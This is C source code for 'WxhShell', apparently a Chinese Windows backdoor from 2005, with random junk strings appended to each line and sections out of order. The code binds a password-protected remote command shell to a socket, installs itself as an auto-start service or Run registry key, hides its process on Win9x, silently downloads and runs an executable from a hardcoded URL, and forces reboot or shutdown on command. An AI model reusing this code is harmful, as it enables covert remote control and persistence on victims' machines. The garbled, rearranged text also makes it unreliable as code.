    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > BY&,4r  
    if(Boot(SHUTDOWN)) 9m<jcxla$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ix!Iw[CNd  
    else { Yu[ t\/  
    closesocket(wsh); w2Jf^pR  
    ExitThread(0); Vp*KfS]  
    } )Sg~[WxDv  
    break; UA8GL D9  
    } zHL@i0>^  
  // 获取shell f]|ysf  
  case 's': { WEQ1 Seq  
    CmdShell(wsh); BJB^m|b)  
    closesocket(wsh); Ov4y %Pj  
    ExitThread(0); G!W[8UG  
    break; ;"fDUY|  
  } PMh^(j[  
  // 退出 Hh-+/sO~"  
  case 'x': { WD2]&g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lz!,kwg  
    CloseIt(wsh); `U)hjQ~pP  
    break; {7;8#.S72  
    } V|/NB  
  // 离开 *:t|qgJI#+  
  case 'q': { T:Hr&ws4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u7[ykyV  
    closesocket(wsh); =aj/,Q]  
    WSACleanup(); X1Ac*oLN  
    exit(1); RGg(%.  
    break; ,M6 Sy]Aj  
        } 'wI"Bo6e  
  } " '6;/N  
  } /VzI'^  
MHai%E  
  // 提示信息 U{z9>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "D'B3; uWK  
} ;A'Z4=*~  
  } @,u/w4  
jhu&& ==\f  
  return; gk+h8 LZ  
} a{J,~2>  
(+u39NQV  
// shell模块句柄 mG`e3X6@-  
int CmdShell(SOCKET sock) t{FlB!jv  
{ {]_r W/  
STARTUPINFO si; k^%B5  
ZeroMemory(&si,sizeof(si)); w@ c87;c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $m+sNEAa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P=&o%K,:f  
PROCESS_INFORMATION ProcessInfo; .YnFH$;$  
char cmdline[]="cmd"; EG0auzW?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q7Dw _<  
  return 0; uN^=<B?B  
} S:q3QgU=X  
=;|QZ"%E  
// 自身启动模式 |t) }VM%  
int StartFromService(void) R8UYP=Kp  
{ ^Q ps> A(  
typedef struct dT$M y`>  
{ /43-;"%>  
  DWORD ExitStatus; L%$|^T=%  
  DWORD PebBaseAddress; /`;n@0k>2  
  DWORD AffinityMask; U uM$~qf/K  
  DWORD BasePriority; xD /9F18  
  ULONG UniqueProcessId; :%AL\ n  
  ULONG InheritedFromUniqueProcessId; >'xGp7}y  
}   PROCESS_BASIC_INFORMATION; -0eq_+oQ  
UMp/ \&0  
PROCNTQSIP NtQueryInformationProcess; >Clh] ;K  
}KKY6D|d>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }%`~T>/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aJe^Tp(  
6ubL1K  
  HANDLE             hProcess; G #T<`>T  
  PROCESS_BASIC_INFORMATION pbi; \U?n+6 7g  
OxtOd\0$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rgf#wH%hN  
  if(NULL == hInst ) return 0; ;HBC Ue<_  
!W'Ui 9uX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ai^4'{#zi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bo+DJizu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N+)?$[  
(ihP `k-.  
  if (!NtQueryInformationProcess) return 0; \[>9UC%  
KZ e)K_1[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <U9/InN0[  
  if(!hProcess) return 0; qr50E[  
C4#rA.nF|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p|/j4@-h  
cZ+7.oDu  
  CloseHandle(hProcess); )Vk6;__  
7"*|2Xq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gbStAr.  
if(hProcess==NULL) return 0; /DO/Tqdfe  
}Y1>(U  
HMODULE hMod; W"xP(7X  
char procName[255]; w$5A|%Y+V}  
unsigned long cbNeeded; z ggB$5  
}2r+%V&4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x2#qg>`l  
p(m1O70 C  
  CloseHandle(hProcess); }5O>EXE0R  
FM5e+$>@  
if(strstr(procName,"services")) return 1; // 以服务启动 '69ZdP/xX  
0i8h I6d  
  return 0; // 注册表启动 jN+N(pIi.o  
} ?vGf fMm  
3%<C<(  
// 主模块 ,rwuy[Q8  
int StartWxhshell(LPSTR lpCmdLine) d( *fy}  
{ %YlTF\-  
  SOCKET wsl; 3Gr&p6  
BOOL val=TRUE; i"^<CR@e  
  int port=0; >1irSUj"~  
  struct sockaddr_in door; <B&R6<]T  
2$zU&p7sV  
  if(wscfg.ws_autoins) Install(); )06iV  
M_D6i%b^  
port=atoi(lpCmdLine); )yb+M ez  
/=#~  
if(port<=0) port=wscfg.ws_port; M\+*P,i  
nyT[^n  
  WSADATA data; cf[vf!vi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?&h3P8  
L$Z(+6m5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JK~ m(oQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  D\T!4q'Q  
  door.sin_family = AF_INET; azb=(l-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XqR{.jF.  
  door.sin_port = htons(port); MdhT!?  
O'}l lo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L,-u.vV  
closesocket(wsl); VZA3IbK}  
return 1; 0v"&G<J  
} h[ 6hM^n  
A@$fb}CF  
  if(listen(wsl,2) == INVALID_SOCKET) { {.#zHL ;  
closesocket(wsl); ":d*dl  
return 1; n'64;J5  
} G79C {|c\  
  Wxhshell(wsl); fEu9Jk  
  WSACleanup(); )hL^+Nn bR  
VvgN3e[  
return 0;  ~B@ }R  
hrM"Zg  
} |Odu4 Q  
U \Dca&=  
// 以NT服务方式启动 CT5Y/E? }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .{N\<01  
{ ] EyeBF)$  
DWORD   status = 0; cy:;)E>/  
  DWORD   specificError = 0xfffffff; o#d$[oa  
tmxPO e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KHJ=$5r)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 712=rUI%!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _XN~@5elrC  
  serviceStatus.dwWin32ExitCode     = 0; w?ai,Pw  
  serviceStatus.dwServiceSpecificExitCode = 0; 6IF|3@yD  
  serviceStatus.dwCheckPoint       = 0; aVK()1v]  
  serviceStatus.dwWaitHint       = 0; iH _"W+dq  
vXPuyR<J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3Bd4 C]E  
  if (hServiceStatusHandle==0) return; 0P:F97"1,  
 'O1.6*K  
status = GetLastError(); )% |r>{  
  if (status!=NO_ERROR) )K.R\]XR  
{ F9D"kG;Dk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (j`l5r#X#/  
    serviceStatus.dwCheckPoint       = 0; &(\@sxAyZ  
    serviceStatus.dwWaitHint       = 0; LI$L9eNv;Y  
    serviceStatus.dwWin32ExitCode     = status; wG6FS  
    serviceStatus.dwServiceSpecificExitCode = specificError; G+Ei#:W,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hd=j56P5P  
    return; 0XQ-   
  } bfc.rZ  
lvig>0:M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s_` V*`n&  
  serviceStatus.dwCheckPoint       = 0; v7$9QVze  
  serviceStatus.dwWaitHint       = 0; <lX:eR1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W.GN0(uG  
} D99N#36PU  
.i\wE@v  
// 处理NT服务事件,比如:启动、停止 :6sGX p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <W9) Bq4  
{ K+t];(  
switch(fdwControl) nR#a)et  
{ A&?WP\_z  
case SERVICE_CONTROL_STOP: +"G(  
  serviceStatus.dwWin32ExitCode = 0; Bzwx0c2VY8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _/8y1) I  
  serviceStatus.dwCheckPoint   = 0; EXH!glR[$  
  serviceStatus.dwWaitHint     = 0; c8!j6\dC*  
  { )uu wwz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k@lXXII ?  
  } 4jPwL|#  
  return; N+[}Gb"8q  
case SERVICE_CONTROL_PAUSE: 012:BZR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !4!S{#<q  
  break; A1Ibx|K  
case SERVICE_CONTROL_CONTINUE: %j!z\pa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q 8tP29  
  break; -y9Pn>~V  
case SERVICE_CONTROL_INTERROGATE: W=!F8g|Qz  
  break; re2Fv:4{  
}; V&$  J;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B1up^(?  
} '&1  
6Eij>{v  
// 标准应用程序主函数 ,OFq'}q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 20S9/9ll  
{ #.RG1-L  
Kn3YI9  
// 获取操作系统版本 o x03c   
OsIsNt=GetOsVer(); [+Yl;3 &]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p,!fIx  
H ,01o5J  
  // 从命令行安装 A)~ /~  
  if(strpbrk(lpCmdLine,"iI")) Install(); *tIdp`xT/T  
?nj"Ptzs  
  // 下载执行文件 d8VWi*  
if(wscfg.ws_downexe) { \fkS_r,i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w+URCj  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Hz`0V  
} vCYSm  0  
8T!fGzHx  
if(!OsIsNt) { 5(mCBH  
// 如果时win9x,隐藏进程并且设置为注册表启动 H'j_<R N  
HideProc(); Ac*B[ywA3  
StartWxhshell(lpCmdLine); nph7&[xQI  
} 5#N"WHz!  
else FkB6*dm-  
  if(StartFromService()) tU-#pB>H  
  // 以服务方式启动 Rh05W_?Js  
  StartServiceCtrlDispatcher(DispatchTable); *FI5z[8,  
else JI{OGr  
  // 普通方式启动 S|O%h}AH;  
  StartWxhshell(lpCmdLine); "W3n BaG  
(mOqv9pn  
return 0; sM);gI14  
} J,(U<%n  
A>ug'.  
)- Wn'C'Z  
8\W3Fv Q  
=========================================== 8k*  
_7t|0aNo\  
3thG*^C5  
Y3sNr)qss  
CIxVR  
r7wx?{~ 28  
" Rd;~'gbG  
*h5ldP  
#include <stdio.h> *1 J#Mdd  
#include <string.h> eKU@>5  
#include <windows.h> {YxSH %  
#include <winsock2.h> /4f 5s#hR  
#include <winsvc.h>  5K_N  
#include <urlmon.h> nJM9c[Ou^H  
H*:r>Lm=  
#pragma comment (lib, "Ws2_32.lib") u\Erta`  
#pragma comment (lib, "urlmon.lib") D,m&^P=%e  
{TcbCjyw  
#define MAX_USER   100 // 最大客户端连接数 O. .@<.  
#define BUF_SOCK   200 // sock buffer n79DS(t  
#define KEY_BUFF   255 // 输入 buffer #u]_7/(</`  
X=!n,=xI  
#define REBOOT     0   // 重启 ,~=z_G`R  
#define SHUTDOWN   1   // 关机 >R'VY "\  
ZF11v(n  
#define DEF_PORT   5000 // 监听端口 IZ(CRKCGBl  
b`={s  
#define REG_LEN     16   // 注册表键长度 U K]{]-  
#define SVC_LEN     80   // NT服务名长度 .AmM%I4K  
zLIa! -C  
// 从dll定义API xa%ktn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?T%K +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( _F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X0r#,u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1SJHX1CxX  
I!i#=  
// wxhshell配置信息 7`'fUhB!  
struct WSCFG { q.hc%s2?  
  int ws_port;         // 监听端口  6O|\4c;  
  char ws_passstr[REG_LEN]; // 口令 p6k'Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no vM>`CZ  
  char ws_regname[REG_LEN]; // 注册表键名 !kk %;XSZ  
  char ws_svcname[REG_LEN]; // 服务名 +/UXy2VRt$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^zluO   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AB|VO4-?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X-) ]lAP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =D"63fP1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HBf8!\0|/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `] dx%  
Z=5}17kA  
}; QIz N# ;g  
A ** M"T  
// default Wxhshell configuration Vh[o[ U  
struct WSCFG wscfg={DEF_PORT, j &[WE7wf  
    "xuhuanlingzhe", &DhA$o"'  
    1, X]^E:'E!  
    "Wxhshell", aD3F!Sn  
    "Wxhshell", ^HN  
            "WxhShell Service", 3[O =2  
    "Wrsky Windows CmdShell Service", `]I5WTt*X  
    "Please Input Your Password: ", b)`#^uxxJ  
  1, YH+\rb_  
  "http://www.wrsky.com/wxhshell.exe", [q{Txe  
  "Wxhshell.exe" pj-HLuZR  
    }; oHFDg?Z`  
3V!&y/c<  
// 消息定义模块 $=QO_t)?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vrO$8* sy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U.sPFt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )KhVUFS1  
char *msg_ws_ext="\n\rExit."; &)}:Y!qiu  
char *msg_ws_end="\n\rQuit."; adPU)k_j:  
char *msg_ws_boot="\n\rReboot..."; fB"gM2'  
char *msg_ws_poff="\n\rShutdown..."; <hC3#dNRd  
char *msg_ws_down="\n\rSave to "; 3S|;yOl#X  
Pi sr&"A  
char *msg_ws_err="\n\rErr!"; tnbs]6  
char *msg_ws_ok="\n\rOK!"; b2kbuk]  
%1+~(1P  
char ExeFile[MAX_PATH]; *H<g9<Dn  
int nUser = 0; 6i=wAkn_J  
HANDLE handles[MAX_USER]; tSLl'XeN  
int OsIsNt; U$J_:~  
:q[n1 O[Ch  
SERVICE_STATUS       serviceStatus; e>9{36~jh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zd/~ *ZA  
RKb3=} *C  
// 函数声明 1gK3= Ys  
int Install(void); XFAt\g  
int Uninstall(void); c)YGwkY,,  
int DownloadFile(char *sURL, SOCKET wsh); _rh.z_a7w  
int Boot(int flag); |3o@I uGt  
void HideProc(void); `mTxtuid{  
int GetOsVer(void); RWcQT`  
int Wxhshell(SOCKET wsl); =zGz|YI*?  
void TalkWithClient(void *cs); )L("t  
int CmdShell(SOCKET sock); u)]sJ1p  
int StartFromService(void); !h(0b*FUJ  
int StartWxhshell(LPSTR lpCmdLine); )F2tV ]k\  
#e|kA&+8M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o*BI^4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +Z0E?,Oz  
/kVc7 LC  
// 数据结构和表定义 n=MYv(Pp}  
SERVICE_TABLE_ENTRY DispatchTable[] = )BrqE uX@"  
{ 1k({(\>qq  
{wscfg.ws_svcname, NTServiceMain}, ~H~4 fp b  
{NULL, NULL} . M $D  
}; 64s;6=  
=D$r5D/xd  
// 自我安装 )q-!5^ak  
int Install(void) `Pbn  
{ W5g!`f  
  char svExeFile[MAX_PATH]; bcs(#  
  HKEY key; = F<`-6  
  strcpy(svExeFile,ExeFile); tTamFL6  
EZW?(%b>H  
// 如果是win9x系统,修改注册表设为自启动 9?6$ 2I  
if(!OsIsNt) { r\`m[Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )j*qGsOg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y~ LVK8  
  RegCloseKey(key); !!>G{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H:Le^WS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t9{EO#o' k  
  RegCloseKey(key); 4(IP  
  return 0; i i Y[  
    } 2G;d2LR:  
  } [%Xfl7;Wh  
} &[pw LYf7  
else { #1k,t  
^f]pK&MAmN  
// 如果是NT以上系统,安装为系统服务 XPKcF I=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (1vS)v $L  
if (schSCManager!=0) ;wZ.p"T9^  
{ wl9icrR>  
  SC_HANDLE schService = CreateService Qg=~n:j  
  ( H;ib3?  
  schSCManager, !vw0Y,F&  
  wscfg.ws_svcname, K6oLSr+EAK  
  wscfg.ws_svcdisp, zZ-*/THB@R  
  SERVICE_ALL_ACCESS, X.qKG0i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gX<C-y6o  
  SERVICE_AUTO_START, g-36Q~`9v  
  SERVICE_ERROR_NORMAL, Vo()J4L  
  svExeFile, ;{RQ+ZX'[  
  NULL, 5N0H^  
  NULL, @}:(t{>;e7  
  NULL, /FY_LM  
  NULL, >{Djx  
  NULL _45"Z}Zx  
  );  3@*8\  
  if (schService!=0) wW~2]*n  
  { Re_.<_$  
  CloseServiceHandle(schService); qS>el3G  
  CloseServiceHandle(schSCManager); Q>$v~v?9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ko$R%W&T  
  strcat(svExeFile,wscfg.ws_svcname); t)h3GM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c9V'Zd#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XOMWqQr|  
  RegCloseKey(key); %o>1$f]  
  return 0; G(i/ @>l  
    } `fXcW)  
  } ryP z q}#  
  CloseServiceHandle(schSCManager); lf 3W:0 K  
} lU maNZ  
} qW*)]s)z  
gueCP+a_  
return 1; \oyr[so(i  
} y$rp1||lH  
~p&sd)  
// 自我卸载 |yr}g-m  
int Uninstall(void) %y'#@%kO:S  
{ P$Nwf,d2u  
  HKEY key; 8I%1 `V  
S:wmm}XQ  
if(!OsIsNt) { _F3:j9^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <?+ \\Z!7  
  RegDeleteValue(key,wscfg.ws_regname); :v#3;('7  
  RegCloseKey(key); Onao'sjY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9#+X?|p+0  
  RegDeleteValue(key,wscfg.ws_regname); h1xYQF_`Z  
  RegCloseKey(key); YC{od5a  
  return 0; `J;_!~:  
  } k# /_Zd  
} B--`=@IRf"  
} b@Fa| >"_  
else { o4xZaF4+  
&W1c#]q@r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *&7Av7S  
if (schSCManager!=0) |2Q;SaI^\  
{ TWMD f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9!tRM-  
  if (schService!=0) 8d-_'MXk3  
  { c}QjKJ-c  
  if(DeleteService(schService)!=0) {  V}&  
  CloseServiceHandle(schService); YkTEAI|i  
  CloseServiceHandle(schSCManager); I_Q'+d  
  return 0; P:=3;d{v  
  } YQ&Xd/z-  
  CloseServiceHandle(schService); pl5!Ih6  
  } uCx\Bt"VI  
  CloseServiceHandle(schSCManager); D+tn<\LF  
} LbnR=B!  
} QM OOJA  
Lf3:' n  
return 1; ~Os~pTo  
} .hU ndg  
A>Js`s  
// 从指定url下载文件 0e&Vvl4DK  
int DownloadFile(char *sURL, SOCKET wsh) 9M<{@<]dm  
{ tT'+3  
  HRESULT hr; fDf:Jec`[  
char seps[]= "/"; ~nw]q<7r  
char *token; HKV]Rn  
char *file; ]h,XRDK  
char myURL[MAX_PATH]; 72.Z E%Ue  
char myFILE[MAX_PATH]; k? X7h2  
z>~Hc8*]3  
strcpy(myURL,sURL); dx?4)lb  
  token=strtok(myURL,seps); x,pzX(  
  while(token!=NULL) >J+hu;I5  
  { |,|b~>  
    file=token; =JY9K0S~  
  token=strtok(NULL,seps); ?Jio9Zr  
  } x pT85D  
t0(1qFi  
GetCurrentDirectory(MAX_PATH,myFILE); D3N\$D  
strcat(myFILE, "\\"); -:&qNY:Vp  
strcat(myFILE, file); j'g':U  
  send(wsh,myFILE,strlen(myFILE),0); "aHA6zTB  
send(wsh,"...",3,0); $ba3dqbCW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); adRvAq]mA  
  if(hr==S_OK) 0& 54xP  
return 0; l*rli[No  
else r$<[`L+6  
return 1; 0x*L"HD  
w-LMV>+6|  
} { <f]6  
kO>F, M  
// 系统电源模块 i{vM NI{  
int Boot(int flag) bVaydJ*  
{ )5Mf,  
  HANDLE hToken; W6:ei.d+NS  
  TOKEN_PRIVILEGES tkp; ~ (I'm[  
*EY^t=  
  if(OsIsNt) { q$7SJ.pF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !Nua  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <?zn k8|  
    tkp.PrivilegeCount = 1; _Z'[-rcXWh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9x$Kb7'F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2j*;1  
if(flag==REBOOT) { wC{?@ h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qn=~4rg]R  
  return 0; m_ >+$uL  
} b+7!$  
else { ='"DUQH|*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L Vt{`   
  return 0; S&N[@G  
} W(.q. Sx>  
  } 4AA3D!$  
  else { +a7J;-|  
if(flag==REBOOT) { !0p_s;uu,W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Twl>Pn>  
  return 0; e !BablG[  
} x"7`,W  
else { 6'E3Q=}d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ljdo`j#N  
  return 0; kIR?r0_<G6  
} AXBf\ )[  
} *?dw`j_b >  
! 3&_#VO  
return 1; fiG/ "/u  
} ~m@v ~=  
(?[^##03MN  
// win9x进程隐藏模块 { [Sd[P  
void HideProc(void) &T"X kgU5  
{ @-9u;aL  
* }\}@0%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $;@L PE  
  if ( hKernel != NULL ) --X1oC52A  
  { @!;EW R]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e(t,~(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ciQG.]  
    FreeLibrary(hKernel); ~x}/>-d  
  } #A&(b}#:o  
Jng,:$sZ  
return; *p&c}2'  
} |gl~wG1@  
{Vg8pt  
// 获取操作系统版本 IYb%f T  
int GetOsVer(void) n4* hQi+d  
{  Xn<~ln  
  OSVERSIONINFO winfo; '1o1=iJN@$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ujw J}j  
  GetVersionEx(&winfo); 3>jL7sh%|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z@\r V@W5  
  return 1; >=<qAkk  
  else yW3X<  
  return 0; WGG Va  
} Lbo8> L(  
"!\ON)l*  
// 客户端句柄模块 @I`X{oAA  
int Wxhshell(SOCKET wsl) F.nJX ZnJ  
{ fevL u[,  
  SOCKET wsh; iymOq9  
  struct sockaddr_in client; 3M/iuu  
  DWORD myID; >O7ITy  
,}9G|$  
  while(nUser<MAX_USER) 0)c9X[sG  
{ 'eKvt5&@  
  int nSize=sizeof(client); co <ATx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); st8=1}:&\  
  if(wsh==INVALID_SOCKET) return 1; 8|\0\Wd;vu  
:j sa.X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y5J}*`[Mr  
if(handles[nUser]==0) @PYCl  
  closesocket(wsh); CA0SH{PdW&  
else OK=lp4X  
  nUser++; 2!6+>nvO  
  } =U:9A=uEvS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @@!Mt~\  
qNhV zx  
  return 0; Cfizh@<  
} |2!!>1k  
/zB;1%m-  
// 关闭 socket &}TfJ=gj  
void CloseIt(SOCKET wsh) uVO*@Kj+  
{ ! OM P]  
closesocket(wsh); t}Z*2=DO  
nUser--; R"j6 w[tn  
ExitThread(0); yMdAe>@  
} w"-'  
ZcTxE]Y  
// 客户端请求句柄 (IAc*V~  
void TalkWithClient(void *cs) @,b:s+]rp  
{ ]6W;~w%  
KNR_upO8  
  SOCKET wsh=(SOCKET)cs; auV'`PR  
  char pwd[SVC_LEN]; 2u0dn?9\  
  char cmd[KEY_BUFF]; &VY(W{\eY  
char chr[1]; 'rT@r:6fn  
int i,j; *O`76+iZ|_  
F TB@70  
  while (nUser < MAX_USER) { f8>S<:  
r#Pkhut  
if(wscfg.ws_passstr) { ;$ot,mH?T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); un+U_|>c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oXCZpS  
  //ZeroMemory(pwd,KEY_BUFF); j( *;W}*^  
      i=0; 8QFn/&Ql$B  
  while(i<SVC_LEN) { T<p,KqH  
ELx?ph-9  
  // 设置超时 5W0'r'{  
  fd_set FdRead; won(HK\1p  
  struct timeval TimeOut; DYvi1X6  
  FD_ZERO(&FdRead); =~Ac=j!q  
  FD_SET(wsh,&FdRead); N XAP=y3  
  TimeOut.tv_sec=8; fk(l.A$  
  TimeOut.tv_usec=0; s+"[S%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jGB2`^&d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uUAib<wdPL  
{.W$<y (j7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6B4s6  
  pwd=chr[0]; -j%!p^2j9  
  if(chr[0]==0xd || chr[0]==0xa) { xg'FC/1LD  
  pwd=0; cZ(7/Pl  
  break; u8Ul +u  
  } E6);\SJG}  
  i++; NN<kO#c+2  
    } i!/V wGg  
~jd:3ip+!  
  // 如果是非法用户,关闭 socket WMB~? EDhv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^s@?\v  
} / jI>=:z  
MB<oWH[e)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H6<\7W89y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Y|Y?  
&[BDqi  
while(1) { -I1Ne^DZn4  
-\;x>=#B  
  ZeroMemory(cmd,KEY_BUFF); ^>?gFvWB%  
Ez^U1KKOE7  
      // 自动支持客户端 telnet标准   cdL$T6y  
  j=0; $'}:nwq6x  
  while(j<KEY_BUFF) { A"S{W^iL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ifo7,  
  cmd[j]=chr[0]; 2Y&QJon)  
  if(chr[0]==0xa || chr[0]==0xd) { #vhxW=L`=  
  cmd[j]=0; CT6Ca,  
  break; JLT ^0wBB  
  } g/+P]c6/  
  j++; z JWh  
    } Mn(:qQo^&`  
IfoeHAWX  
  // 下载文件 =@b/Gl  
  if(strstr(cmd,"http://")) { /?l@7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Pv#)qtm  
  if(DownloadFile(cmd,wsh)) h?2qX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+//pGx  
  else u"-q"0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z65|NO6JW.  
  } HK>!%t0S  
  else { 0|8c2{9X,  
oDul ?%  
